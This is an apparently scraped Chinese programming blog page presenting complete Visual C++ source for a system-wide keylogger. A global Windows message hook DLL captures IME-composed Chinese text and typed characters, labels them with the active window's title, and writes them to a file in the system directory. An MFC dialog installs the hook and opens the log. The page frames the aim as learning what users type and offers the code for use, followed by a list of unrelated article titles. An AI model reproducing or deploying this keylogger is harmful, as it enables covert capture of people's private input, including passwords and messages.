基于Visual C++实现输入法拦截
来源:互联网 发布:怎么用手机淘宝充话费 编辑:程序博客网 时间:2024/05/19 19:58
我们想知道用户输入了什么吗,
那么我们可以拦截输入法吗,当然可以
我们先实现钩子
#include "windows.h"#include "imm.h"#include "stdio.h"//#define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄HINSTANCE g_hHinstance = NULL; //程序句柄HWND LastFocusWnd = 0;//上一次句柄,必须使全局的HWND FocusWnd; //当前窗口句柄,必须使全局的 char title[256]; //获得窗口名字 char *ftemp; //begin/end 写到文件里面char temptitle[256]="<<标题:"; //<<标题:窗口名字>>char t[2]={0,0}; //捕获单个字母void writefile(char *lpstr){//保存为文件FILE* f1;char cmd[256];GetSystemDirectory(cmd,256); strcat(cmd,"\\hooktxt.txt"); f1=fopen(cmd,"a+"); fwrite(lpstr,strlen(lpstr),1,f1); fclose(f1);}void writtitle(){//保存当前窗口FocusWnd = GetActiveWindow();if(LastFocusWnd != FocusWnd){ftemp="\n---------End----------\n";writefile(ftemp);ftemp="\n--------begin---------\n";writefile(ftemp);GetWindowText(FocusWnd, title, 256); //当前窗口标题LastFocusWnd = FocusWnd;strcat(temptitle,title);strcat(temptitle,">>\n");writefile(temptitle);}}LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam){ PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char lpstr[20]; if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。writtitle(); //保存当前窗口writefile(lpstr); //保存为文件 ImmReleaseContext(hWnd, hIMC);} } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 { char ch,str[10]; ch=(char)(pmsg->wParam); if (ch>=32 && ch<=126) //可见字符{ writtitle();t[0]=ch;writefile(t);}if (ch>=8 && ch<=31) //控制字符{switch(ch){ case 8:strcpy(str,"[退格]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[Enter]");break;default:strcpy(str,"n");}if (strcmp(str,"n")){writtitle(); writefile(str);}}} break; } }LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); return(lResult);}//HOOK_API BOOL InstallHook()BOOL InstallHook(){ g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); return TRUE;}//HOOK_API BOOL UnHook()BOOL UnHook(){ return UnhookWindowsHookEx(g_hHook);} BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hHinstance=HINSTANCE(hModule); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnHook(); break; } return TRUE;}
然后实现接收钩子的信息
#include "stdafx.h"#include "testdll2.h"#include "testdll2Dlg.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endiftypedef BOOL (*fun)(); //函数指针char s[256];/////////////////////////////////////////////////////////////////////////////// CTestdll2Dlg dialogCTestdll2Dlg::CTestdll2Dlg(CWnd* pParent /*=NULL*/): CDialog(CTestdll2Dlg::IDD, pParent){//{{AFX_DATA_INIT(CTestdll2Dlg)// NOTE: the ClassWizard will add member initialization here//}}AFX_DATA_INIT// Note that LoadIcon does not require a subsequent DestroyIcon in Win32m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);}void CTestdll2Dlg::DoDataExchange(CDataExchange* pDX){CDialog::DoDataExchange(pDX);//{{AFX_DATA_MAP(CTestdll2Dlg)// NOTE: the ClassWizard will add DDX and DDV calls here//}}AFX_DATA_MAP}BEGIN_MESSAGE_MAP(CTestdll2Dlg, CDialog)//{{AFX_MSG_MAP(CTestdll2Dlg)ON_WM_PAINT()ON_WM_QUERYDRAGICON()ON_BN_CLICKED(IDC_BUTTON1, OnButton1)ON_BN_CLICKED(IDC_BUTTON2, OnButton2)//}}AFX_MSG_MAPEND_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////// CTestdll2Dlg message handlersBOOL CTestdll2Dlg::OnInitDialog(){CDialog::OnInitDialog();// Set the icon for this dialog. The framework does this automatically// when the application's main window is not a dialogSetIcon(m_hIcon, TRUE);// Set big iconSetIcon(m_hIcon, FALSE);// Set small icon //得到系统目录GetSystemDirectory(s,256);strcat(s,"\\hooktxt.txt");SetDlgItemText(IDC_STATIC1,s);// TODO: Add extra initialization herereturn TRUE; // return TRUE unless you set the focus to a control}// If you add a minimize button to your dialog, you will need the code below// to draw the icon. For MFC applications using the document/view model,// this is automatically done for you by the framework.void CTestdll2Dlg::OnPaint() {if (IsIconic()){CPaintDC dc(this); // device context for paintingSendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);// Center icon in client rectangleint cxIcon = GetSystemMetrics(SM_CXICON);int cyIcon = GetSystemMetrics(SM_CYICON);CRect rect;GetClientRect(&rect);int x = (rect.Width() - cxIcon + 1) / 2;int y = (rect.Height() - cyIcon + 1) / 2;// Draw the icondc.DrawIcon(x, y, m_hIcon);}else{CDialog::OnPaint();}}// The system calls this to obtain the cursor to display while the user drags// the minimized window.HCURSOR CTestdll2Dlg::OnQueryDragIcon(){return (HCURSOR) m_hIcon;}void CTestdll2Dlg::OnButton1() {HINSTANCE h=LoadLibrary("dll2.dll");fun add=(fun)GetProcAddress(h,"InstallHook");add();}void CTestdll2Dlg::OnButton2() {ShellExecute(NULL,NULL ,s, NULL, NULL, SW_SHOWNORMAL);}
- 基于Visual C++实现输入法拦截
- 基于Struts 2 拦截器实现
- VC++基于LSP实现数据拦截
- 基于node Express 拦截器的实现
- ibatis基于拦截器的分页实现
- 2.基于url拦截实现权限管理
- 基于Shiro 拦截URL,实现权限控制
- 操作系统 进程调度 基于时间片轮转(C实现 Visual Stdio 2005)
- Visual C 基于模板的类
- Visual C++DLL编程实现
- Visual C++DLL编程实现
- 基于Visual Studio的DLL编程实现
- 基于visual c++之windows核心编程代码分析(61)打造自己的Windows输入法
- Visual C++(MFC)实现C/S
- 基于QQ云输入法,用python实现的输入法(demo 版)
- 基于SSH2框架Struts2拦截器的登录验证实现
- 基于SSH2框架Struts2拦截器的登录验证实现
- 基于VC++用 Detours实现SendPtr的拦截HTTP
- Ubuntu ns2.35 安装leach
- 关闭ipad和iphone应用图标自动添加阴影和反光等视觉效果
- VC 命令行打印PDF文件
- 用API函数获得系统本地信息
- PHP 的 返回引用(方法名前加&) 和 局部静态变量(static)
- 基于Visual C++实现输入法拦截
- hibernate常用核心开发接口
- Codeforces Round #121 (Div. 2)
- linux stat命令参数及用法详解
- Oracle EXTRACT()函数
- 运用SQL2005以上特有的ROW_NUMBER() 进行分页
- 页面加载完成后执行js代码
- SQL Server 日期转换格式
- keyboard中key属性介绍